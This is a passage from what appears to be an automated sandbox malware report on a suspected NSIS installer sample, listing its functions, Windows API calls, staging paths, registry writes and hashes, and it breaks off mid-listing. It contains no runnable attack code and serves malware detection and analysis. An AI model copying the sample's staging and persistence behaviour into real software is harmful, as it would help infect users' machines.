Instruction Fuzzy Hash: 6961E231900215AFDB209F75DD49B9E7AB8AB04359F20817FFA00B62C1CBB99A458B5D

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\indvandrings\attraavrdig,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\indvandrings\attraavrdig,?,?,00000031), ref: 004017CD

Part of subcall function 00406183: lstrcpynW.KERNEL32(0040A230,0040A230,00000400,00403466,00429260,NSIS Error), ref: 00406190

Part of subcall function 004052E2: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 0040531A
Part of subcall function 004052E2: lstrlenW.KERNEL32(00402E19,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 0040532A
Part of subcall function 004052E2: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00402E19,00402E19,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000), ref: 0040533D
Part of subcall function 004052E2: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll), ref: 0040534F
Part of subcall function 004052E2: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405375
Part of subcall function 004052E2: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538F
Part of subcall function 004052E2: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040539D

Strings

C:\Users\user\AppData\Local\indvandrings\attraavrdig, xrefs: 00401796
C:\Users\user\AppData\Local\Temp\nstA69B.tmp, xrefs: 00401819, 00401837
Call, xrefs: 00401785, 0040178E, 0040179B, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE
C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll, xrefs: 0040182D, 00401849

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nstA69B.tmp$C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll$C:\Users\user\AppData\Local\indvandrings\attraavrdig$Call
API String ID: 1941528284-3850150553
Opcode ID: 615e49871f4312738b2cc4977bee4007c9bdf1b1d4d7734fdea086d7982e8830
Instruction ID: 6fe11ac43b73c0a2a9a7664c997375d2890861868a1009608a3dd96d2534e176
Opcode Fuzzy Hash: 615e49871f4312738b2cc4977bee4007c9bdf1b1d4d7734fdea086d7982e8830
Instruction Fuzzy Hash: B141B531900515BFCF10BBB5CC46DAE7679EF05328B20823BF422B51E1DB3C86529A6E

Function 004052E2 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 0040531A
lstrlenW.KERNEL32(00402E19,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 0040532A
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00402E19,00402E19,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000), ref: 0040533D
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll), ref: 0040534F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405375
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040539D

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll, xrefs: 00405303, 00405313, 00405319, 0040533C, 00405348

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll
API String ID: 2531174081-287984335
Opcode ID: 249834775a828849fb4d2b6e85db5a2f2ebd467982b82e73c19976ad16bb4df1
Instruction ID: 5ed309c8d3f1bf46da027166848d039c97de4a2eecd53fde705ce25c05ecf2d8
Opcode Fuzzy Hash: 249834775a828849fb4d2b6e85db5a2f2ebd467982b82e73c19976ad16bb4df1
Instruction Fuzzy Hash: 4A21B075900618BBCB119FA5DD44ACFBFB8EF84390F10803AF904B62A0C7B94A51DF68

Function 004057B1 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\), ref: 004057F4
GetLastError.KERNEL32 ref: 00405808
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040581D
GetLastError.KERNEL32 ref: 00405827

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 004057D8
C:\Users\user\AppData\Local\Temp\, xrefs: 004057D7

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$Error writing temporary file. Make sure your temp folder is valid.
API String ID: 3449924974-3539136105
Opcode ID: 7075ef3404a36deb5860a48c063ce1528caeb3231ff3312c7ad9e757cbb6b53e
Instruction ID: 9d8b3aa145bda6eaeb46bbd44b0caf250caa68881350f4f3315e0aaa1c0c1a31
Opcode Fuzzy Hash: 7075ef3404a36deb5860a48c063ce1528caeb3231ff3312c7ad9e757cbb6b53e
Instruction Fuzzy Hash: 400108B1D00619EADF10DBA0D9087EFBFB8EF04314F00803AD945B6190D77996588FA9

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nstA69B.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nstA69B.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nstA69B.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

C:\Users\user\AppData\Local\Temp\nstA69B.tmp, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nstA69B.tmp
API String ID: 1356686001-3671796336
Opcode ID: 4fa074726b7e2bf8854870b0d1666f31c0fefbbcc168a0cac51504e48151ff81
Instruction ID: 75ab489ca3c386883e02df54fe3069bb457763bdb47647990c5a7a2e11d383c6
Opcode Fuzzy Hash: 4fa074726b7e2bf8854870b0d1666f31c0fefbbcc168a0cac51504e48151ff81
Instruction Fuzzy Hash: B8118E71A00108BFEB10AFA5DE89EAE777DEB44358F11403AF904B71D1D6B85E409668

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: ee17cb36fc74d046e0919beb455f6a1255652c66a39e7c6080990b88bc0e6a76
Instruction ID: 55d087fd23a1ea4965d22b091416ffa41740a626a207a29a44af1da89c0b6843
Opcode Fuzzy Hash: ee17cb36fc74d046e0919beb455f6a1255652c66a39e7c6080990b88bc0e6a76
Instruction Fuzzy Hash: B3116771504118FFEF20AF90DF8CEAE3B79FB14384B10043AF905B20A0D7B48E55AA29

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,00001020), ref: 100022B8

Part of subcall function 10002645: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B7

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2337909771.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2337832913.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2337963642.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2338036438.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_JOSXXL1.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: d19b98991503ed1f4222ee02892706a0c20354a75bd4722b3fc13797bb1a772f
Instruction ID: d353a68b508970880cf9150dbe01e0f77130c4103e9cfdf2e47557ee24e57a3c
Opcode Fuzzy Hash: d19b98991503ed1f4222ee02892706a0c20354a75bd4722b3fc13797bb1a772f
Instruction Fuzzy Hash: 5E31BF75804241AAFB14DF749CC9BDA37E8FF053D0F158065FA0A9A08FDF74A9848761

Function 00405D87 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405DA5
GetTempFileNameW.KERNELBASE(0040A230,?,00000000,?,?,?,00000000,004033B4,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035E2), ref: 00405DC0

Strings

nsa, xrefs: 00405D94
C:\Users\user\AppData\Local\Temp\, xrefs: 00405D8C

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: a547c736c8f6b5c9f15055ff18df3ea68e155a79a10597bb1e750add09701d99
Instruction ID: 39f60503b2430839de46f7700192694fdf55f3390a305a77e996ee432cf1c3a1
Opcode Fuzzy Hash: a547c736c8f6b5c9f15055ff18df3ea68e155a79a10597bb1e750add09701d99
Instruction Fuzzy Hash: 00F01D76701608BFDB108F59DD09A9BB7A8EFA5710F10803BEA41E7190E6B49A54CB64

Function 004064ED Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406504
wsprintfW.USER32 ref: 0040653F
LoadLibraryW.KERNELBASE(?), ref: 0040654F

Strings

%s%S.dll, xrefs: 00406539

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: 09826aabd0149e8bfb8f53993160eab8b7fb3c89a4591f3bb3682bc3d10a664a
Instruction ID: 11474a94a5346637ca65755d9fadb0746d9ddd5a59e85512782e335858fea3cf
Opcode Fuzzy Hash: 09826aabd0149e8bfb8f53993160eab8b7fb3c89a4591f3bb3682bc3d10a664a
Instruction Fuzzy Hash: 11F0BB7050011AA7CB14EB68ED0DDAF3AACAB00304F51447A9546F20D5EB7CDA65CBA8

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405BE2: CharNextW.USER32(?,?,00425F50,Error writing temporary file. Make sure your temp folder is valid.,00405C56,00425F50,00425F50,74DF3420,?,74DF2EE0,00405994,?,74DF3420,74DF2EE0,"C:\Users\user\Desktop\JOSXXL1.exe"), ref: 00405BF0
Part of subcall function 00405BE2: CharNextW.USER32(00000000), ref: 00405BF5
Part of subcall function 00405BE2: CharNextW.USER32(00000000), ref: 00405C0D

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 00401612

Part of subcall function 004057B1: CreateDirectoryW.KERNELBASE(?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\), ref: 004057F4

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\indvandrings\attraavrdig,?,00000000,000000F0), ref: 00401645

Strings

C:\Users\user\AppData\Local\indvandrings\attraavrdig, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\indvandrings\attraavrdig
API String ID: 1892508949-3036879226
Opcode ID: 897a2145b85dc8eb1e3e25babfe17602016c627361236b588067241378a32ca2
Instruction ID: a2f5b5d24782e44cfe925c0e95e15c4f451f46d0d0cd4eeea64ba36cf6c5c766
Opcode Fuzzy Hash: 897a2145b85dc8eb1e3e25babfe17602016c627361236b588067241378a32ca2
Instruction Fuzzy Hash: AC11E631504504EBCF20BFA0CD0199E3AB1EF44364B29453BE945B61F1DA3D8A81DA5E

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406183: lstrcpynW.KERNEL32(0040A230,0040A230,00000400,00403466,00429260,NSIS Error), ref: 00406190

Part of subcall function 00405BE2: CharNextW.USER32(?,?,00425F50,Error writing temporary file. Make sure your temp folder is valid.,00405C56,00425F50,00425F50,74DF3420,?,74DF2EE0,00405994,?,74DF3420,74DF2EE0,"C:\Users\user\Desktop\JOSXXL1.exe"), ref: 00405BF0
Part of subcall function 00405BE2: CharNextW.USER32(00000000), ref: 00405BF5
Part of subcall function 00405BE2: CharNextW.USER32(00000000), ref: 00405C0D

lstrlenW.KERNEL32(00425F50,00000000,00425F50,00425F50,74DF3420,?,74DF2EE0,00405994,?,74DF3420,74DF2EE0,"C:\Users\user\Desktop\JOSXXL1.exe"), ref: 00405C98
GetFileAttributesW.KERNELBASE(00425F50,00425F50,00425F50,00425F50,00425F50,00425F50,00000000,00425F50,00425F50,74DF3420,?,74DF2EE0,00405994,?,74DF3420,74DF2EE0), ref: 00405CA8

Strings

P_B, xrefs: 00405C45

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: P_B
API String ID: 3248276644-906794629
Opcode ID: aac1f31e4ea679f556b64dc22f6bcb2e43e03c5f2aa30b7a8abbf531c7fd0fee
Instruction ID: f871c4b29d4d639395b2ac54a4c1991ea156a0950635a8c86b9a322ad60a2328
Opcode Fuzzy Hash: aac1f31e4ea679f556b64dc22f6bcb2e43e03c5f2aa30b7a8abbf531c7fd0fee
Instruction Fuzzy Hash: 32F0F42510CF111AF62233365D09AAF2558CF82764B5A063FFC51B12D1CA3C9A838C7E

Function 00406C7C Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
